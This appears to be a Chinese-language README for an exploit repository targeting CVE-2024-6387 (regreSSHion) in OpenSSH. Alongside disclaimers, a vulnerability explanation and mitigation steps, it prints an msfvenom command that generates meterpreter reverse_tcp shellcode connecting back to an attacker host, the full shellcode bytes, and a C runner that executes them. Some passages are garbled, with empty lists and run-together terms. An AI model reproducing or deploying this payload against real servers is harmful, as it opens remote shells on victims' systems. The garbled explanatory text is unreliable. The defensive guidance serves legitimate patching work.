EXPLOIT CVE-2024-6387
用于分析、检测和可控测试 OpenSSH 服务器中 CVE-2024-6387 漏洞的工具。
本仓库仅供教育目的使用。
仅允许在以下环境中使用:
- 实验室(HTB、TryHackMe)
- 自有环境
- 已获明确授权的审计
⚠️ 未经许可扫描或利用系统是非法的。
本内容面向防御与学习。
CVE-2024-6387,又称 regreSSHion,是 2006 年已修复漏洞(CVE-2006-5051)的回归。
该漏洞在 OpenSSH 8.5p1(2020) 中被重新引入,并允许:
还有一个相关漏洞:
该漏洞基于 sshd 信号处理器中的 竞态条件。
LoginGraceTime(默认:120秒)SIGALRM 信号syslog()malloc()free()可能导致:
🛡️ OpenBSD 不易受影响,得益于自 2001 年起实施的额外保护措施。
![]()
python3 exploit.py
python3 scanner.py <IP> -p 22
```bash
# 生成 shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
🛠️ 缓解与修复措施 建议紧急执行以下步骤,尤其对暴露于互联网的资产: 立即更新:升级至 OpenSSH 9.8p1 或应用各发行版特定补丁。 sshd 配置:若无法立即更新,请在 /etc/ssh/sshd_config 文件中设置 LoginGraceTime 0。 警告:这样做可防止 RCE,但会使服务器面临连接耗尽导致的拒绝服务(DoS)攻击风险。 访问控制:通过基于网络的防火墙/VPN 控制 SSH 访问,并进行网络分段以防止横向移动。
Kaleth Corcho
系统工程 · WolvesTI · 哥伦比亚波哥大
| 状态 | 版本 | 说明 |
|---|
| ⚠️ 受影响 | < 4.4p1 | 若未应用旧补丁 |
| ✅ 安全 | 4.4p1 → < 8.5p1 | 先前已修复 |
| ⚠️ 受影响 | 8.5p1 → < 9.8p1 | 回归存在 |
| ✅ 已修复 | >= 9.8p1 | 官方补丁 |